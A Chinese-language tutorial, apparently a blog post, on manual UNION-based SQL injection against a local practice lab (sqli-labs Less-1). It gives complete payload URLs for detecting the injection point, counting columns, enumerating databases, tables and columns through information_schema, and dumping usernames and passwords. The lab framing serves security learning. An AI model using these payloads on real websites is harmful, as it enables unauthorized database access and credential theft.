一、判断是否存在注入
1、在有传值得url后面输入’ , ”或者),通过返回错误,判断sql语句是用什么符号闭合的。在url后面输入 ’ 返回如图错误,初步判断是sql语句是通过’闭合。

2、然后在后面构建一个恒等式看我们的sql语句能不能正常执行。通过执行恒等式and 1=1 返回正常,and 1=2返回不正常,判断出此页面存在注入点 --+对数据库后面的查询语句做注释。


二、判断系统查询语句的字段的个数
1、通过order by n 判断本查询语句的字段的个数。Order by mysql的排序语句。如果n 大于表中的字段数就会报错。小于表中字段返回正常。Order by 4 返回错误,order by 3 返回正常,判断本查询语句有3个字段。


三、通过联合查询,查库,查表,查字段。
1、初步判断有url提交的查询语句有3个字段,union select 语句查询前后字段必须一样,我们通union select 1,2,3来判断哪个字段是显示的。通过and 1=2让union前面的数据不显示。通过执行后回显2,3。判断2,3是显示位。

2、查数据库名,在3位我们执行查所有数据库名,所有数据表名,所有字段名的操作。
数据库名存放在information_schema数据库的schemata表中的schema_name字段中.
查询语句:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 6,1 --+,然后通过limit n,N语句依次爆出存在的数据库名。

3、查表,同样的操作,表名存在information_schema数据库的tables的table_name字段中,并通过限制条件schema_name = ‘web’查询web数据库中存在的表名。
查询命令:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1 --+并通过limit依次列出所有表名。

4、查询数据库表中的所有字段。
表中的字段保存在,information_schema数据columns表中的column_name字段中。并通过限制查询条件where table_name = ‘user’ and table_schema = ‘web’精确的查出web数据库user表中的字段名。
查询命令:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 1,1 --+
然后同样通过limit命令查出所有的数据字段。

5、查询字段中的数据。通过普通的查询命令就可以实现。
命令:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,username,password from security.users limit 0,1 --+
同样通过limit命令可以一个个显示所有的字段内容。

网友评论